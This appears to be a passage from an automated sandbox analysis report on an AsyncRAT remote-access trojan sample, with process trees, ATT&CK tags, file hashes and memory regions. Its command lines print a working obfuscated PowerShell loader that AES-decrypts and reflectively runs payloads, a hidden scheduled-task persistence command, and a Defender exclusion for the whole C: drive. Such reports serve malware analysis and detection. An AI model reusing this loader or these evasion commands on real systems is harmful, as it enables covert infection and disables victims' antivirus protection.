$aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4028
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr615_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_615.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:928
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_615.vbs"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2408
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_615.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Roaming\inicia_str_615.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4092

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
99b15f35821046cf0dfc3dcb9189631f

SHA1
5f178b323a1247ce94ebbadf9473c4dcd8ccb1ce

SHA256
e4c2a17ef6811cc1458876f2ebf29b12aa8d0f381873c6d6748499944eb753e2

SHA512
512975d45a2822515059c31aa1d64b36d7f78cc8ba8b5e0506b8b749a680581bbd01c03fbbf1a84bf078c021970835c298a865f237c76a2405d3e28577b73837

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
583774ec24a449d4d0f3db4323a4eba8

SHA1
865464c173ffe8d09a687a985da3f244c6eb405e

SHA256
c71907ff49f05df5272ee7afc60a6a23dd4a6ff3c25d0ca3acf13810d44060b2

SHA512
3251a1d4ff051d9495fc16644ebfecbf6716c2b7ebb4c4ce7b835dfea49e24400c67275bedf1b464c187e3efeaea0b1b0758bb5ca914029e248cb7a6d3fba8ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
1a71ded3efcd783151b0bbfbfe7ef41a

SHA1
aa222e09f605b9736cc8b12274d6d4e1940b4dd4

SHA256
b9bba54a49497ecce51c0d5ce5bbbbde71496f6893251ac32d2c47ae1eb86757

SHA512
78a7c92ed3be4f960e66f5e9bc7213ee1f44156e9ad6b808567e57f31d464a8c524fbaf7a5540ef8f0aee9977482264a6b8c9888cd4e5ae1ef1dbb0429644a7f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
484B

MD5
e595d7391e0c93c76e9054a0f06b6d1b

SHA1
2ad8157865988e926beecf8ca5eb3d2d4651b29c

SHA256
58fab15eeb6896b61e895425a12a2ac5e4abf94b829f11016b708f4b1489d393

SHA512
294fc12131aeaae11309aabf777fa156ab3d2609ff48998b0ab60240a7f15761da8d929f162d5c4a426fe92bca91eceadf2ec458193c21e85ea4f516e27cb8b3

Download Submit
C:\Users\Admin\AppData\Local\Server\AsyncRAT.exe_Url_bsozgjfh10ettuvlzzecwz2b2kv3ubbv\0.5.8.0\user.config

Filesize
319B

MD5
f71f55112253acc1ef2ecd0a61935970

SHA1
faa9d50656e386e460278d31b1d9247fdd947bb7

SHA256
d1ad588a08c8c0799d7a14509f1e0a7ae04c519102ed9d328a83fe65999e6179

SHA512
761b5c13e39bd4ae21d298084bbe747ae71c383fedf9a51fd5e9723a8b3b4547de459d82bac7f3f8f3bfc11cfb0528a4f1057b51996d7d046583109a53317b44

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs

Filesize
203KB

MD5
02081ae0dbab5cbb3ba6fb3d316bb850

SHA1
0b422b950e717427ec53709384b214433871f78b

SHA256
f93f8db130adb1cb891c6a8591d1c2f518a4ba3d5aed98d1e7b530030b0297bb

SHA512
7ae8c0859f25c7cecaa0be83d5ac99d20bde7287ef1f49ddd3114d4683c8ec05a2947f0c0d27b62ea5b4b0764d6ae0a104ffa7d6d84a46b1bd0ecb1eac9d718d

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe

Filesize
6.4MB

MD5
97a429c4b6a2cb95ece0ddb24c3c2152

SHA1
6fcc26793dd474c0c7113b3360ff29240d9a9020

SHA256
06899071233d61009a64c726a4523aa13d81c2517a0486cc99ac5931837008e5

SHA512
524a63f39e472bd052a258a313ff4f2005041b31f11da4774d3d97f72773f3edb40df316fa9cc2a0f51ea5d8ac404cfdd486bab6718bae60f0d860e98e533f89

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES754F.tmp

Filesize
1KB

MD5
2ac2a82f5d664e9e408214e42ee95612

SHA1
60c563cd33353a48c16243a1f4441760f97c99c6

SHA256
1e3fb612bee89cf443ca48bcb602e24f10da8acc00d27adf3da472d58512b0b1

SHA512
eaca532bcf3deb5489bbf7ae09da0a46c6cc83b336ab7bfb86855f093fa1b2e0fa84832a341e60ffc2f4e9d562b7e57b2ad2694e0754c20712efd8eec98f47de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1hgcrqp.gh3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
88e72154cfed4a9932b4a4799aab6df7

SHA1
043136d11ffa2f5aa6c8f6e961686a31a9eb50ef

SHA256
3dc1f5d2c9260a882c6ebe35a4be8b407eced4ab579552b49d3e4d60ea68a373

SHA512
f1479b3cab97a661360e9582a9cf5d49a28f8d92b63710e02345a3dfc19c151d8923990cf4c41936df9baae25a907e0c699133a8a0c4f09858d7a1021abf0bcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\wgf5xduh\wgf5xduh.dll

Filesize
4KB

MD5
77ee10b32885d6702146502d654c4e28

SHA1
f046527e8cca8122b361a9ef6b2016f27256b2b6

SHA256
f840b84b16215c3f032e12d30c928a9443119c2fb236b08a0eff7cf47f3a641e

SHA512
8cb923b9ea801ad11b41b7e546b9bdd26618b61af670f79619dc7bd167826760d5c337368a9649502f4789e6f831b3a7b2b618fc23c5c003483ad55a41d04a7b

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_615.vbs

Filesize
114B

MD5
a56cad6826bb7bbbff5fc13892c1d86b

SHA1
093b45735e912d2bf8200032ad48dc9996764414

SHA256
4aeda24432f4009f0e82a215cab4a39b763b4f3b6102e1fb63864cb5bb8894bc

SHA512
bcae5d68c1a926fadfdbaa9cacddb68eb712fbcfd482446148142c544b7ef86def8a44b1b9875ccf7aa5cf391de2f10caa8be2603c556f17d9bfc3373a337518

Download Submit
C:\windows\temp\4qi0xd2b.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wgf5xduh\CSC76C96DC2F2114FFD81D74B72774D8619.TMP

Filesize
652B

MD5
6792d0ca48a3f5fd0b79718f4aa3a04a

SHA1
0686a707d650b9e53b344e60e3545685888c143c

SHA256
a31a403caa354b8e7380de2dfb5dceca8a8841b7dc07a85a3bbe1cd8bedb7437

SHA512
d948e844a9c26d7ac4b5f610879e5d98609513739f2f535144f05b6135291fd96f81e3b1daad1a1d0e1a0fd9968b7f5571292df52c63dbc8d7dd58a5af96ec4f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wgf5xduh\wgf5xduh.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wgf5xduh\wgf5xduh.cmdline

Filesize
369B

MD5
29680116eb5f04aa0e2b83433b720c39

SHA1
ad307cacd58599cb366a7661f7d8f7d02d8ace6f

SHA256
4968f6cef29383fbdd9f862c72b7fbdeaa9d57e015d2ca6d4d88d678b6c9a5a6

SHA512
18a790707cffe995ee62f1ed8db249ae04a76247872a5765957bb1a8ea4dd2ade9c32c548f3c3b929ae5400c4ce7bdea3ac0b208f00683e9d0b9d270caeb99d0

Download Submit
memory/928-175-0x0000000007820000-0x00000000078B6000-memory.dmp

Filesize
600KB

Download
memory/928-176-0x0000000007790000-0x00000000077A1000-memory.dmp

Filesize
68KB

Download
memory/928-174-0x0000000007600000-0x000000000760A000-memory.dmp

Filesize
40KB

Download
memory/928-173-0x0000000007450000-0x00000000074F3000-memory.dmp

Filesize
652KB

Download
memory/928-162-0x0000000070760000-0x00000000707AC000-memory.dmp

Filesize
304KB

Download
memory/928-172-0x0000000007420000-0x000000000743E000-memory.dmp

Filesize
120KB

Download
memory/928-161-0x00000000073C0000-0x00000000073F2000-memory.dmp

Filesize
200KB

Download
memory/2964-198-0x00000000078D0000-0x00000000078E2000-memory.dmp

Filesize
72KB

Download
memory/2964-199-0x0000000007C60000-0x0000000007CFC000-memory.dmp

Filesize
624KB

Download
memory/3060-2-0x00007FF74CD00000-0x00007FF74D6D3000-memory.dmp

Filesize
9.8MB

Download
memory/3468-35-0x000001CBEE470000-0x000001CBEE478000-memory.dmp

Filesize
32KB

Download
memory/3468-22-0x000001CBEE440000-0x000001CBEE45C000-memory.dmp

Filesize
112KB

Download
memory/3468-21-0x000001CBEE1B0000-0x000001CBEE1D2000-memory.dmp

Filesize
136KB

Download
memory/4028-128-0x0000000004D90000-0x0000000004DC6000-memory.dmp

Filesize
216KB

Download
memory/4028-144-0x00000000061F0000-0x000000000620E000-memory.dmp

Filesize
120KB

Download
memory/4028-145-0x0000000006450000-0x000000000649C000-memory.dmp

Filesize
304KB

Download
memory/4028-146-0x0000000007BA0000-0x000000000821A000-memory.dmp

Filesize
6.5MB

Download
memory/4028-147-0x0000000007370000-0x000000000738A000-memory.dmp

Filesize
104KB

Download
memory/4028-148-0x00000000073C0000-0x00000000073C8000-memory.dmp

Filesize
32KB

Download
memory/4028-149-0x00000000073E0000-0x00000000073EE000-memory.dmp

Filesize
56KB

Download
memory/4028-150-0x0000000008220000-0x00000000087C6000-memory.dmp

Filesize
5.6MB

Download
memory/4028-142-0x0000000005D60000-0x00000000060B7000-memory.dmp

Filesize
3.3MB

Download
memory/4028-137-0x0000000005CF0000-0x0000000005D56000-memory.dmp

Filesize
408KB

Download
memory/4028-133-0x0000000005C80000-0x0000000005CE6000-memory.dmp

Filesize
408KB

Download
memory/4028-130-0x00000000054C0000-0x00000000054E2000-memory.dmp

Filesize
136KB

Download
memory/4028-129-0x0000000005540000-0x0000000005C0A000-memory.dmp

Filesize
6.8MB

Download
memory/4440-60-0x00000190FEAC0000-0x00000190FED40000-memory.dmp

Filesize
2.5MB

Download
memory/4440-59-0x00000190FB0C0000-0x00000190FB0D2000-memory.dmp

Filesize
72KB

Download
memory/4440-56-0x00007FF9F23C3000-0x00007FF9F23C5000-memory.dmp

Filesize
8KB

Download
memory/4440-52-0x00000190FEA60000-0x00000190FEA6A000-memory.dmp

Filesize
40KB

Download
memory/4440-11-0x00000190FAA00000-0x00000190FAC52000-memory.dmp

Filesize
2.3MB

Download
memory/4440-9-0x00000190F7D10000-0x00000190F837A000-memory.dmp

Filesize
6.4MB

Download
memory/4440-8-0x00007FF9F23C3000-0x00007FF9F23C5000-memory.dmp

Filesize
8KB

Download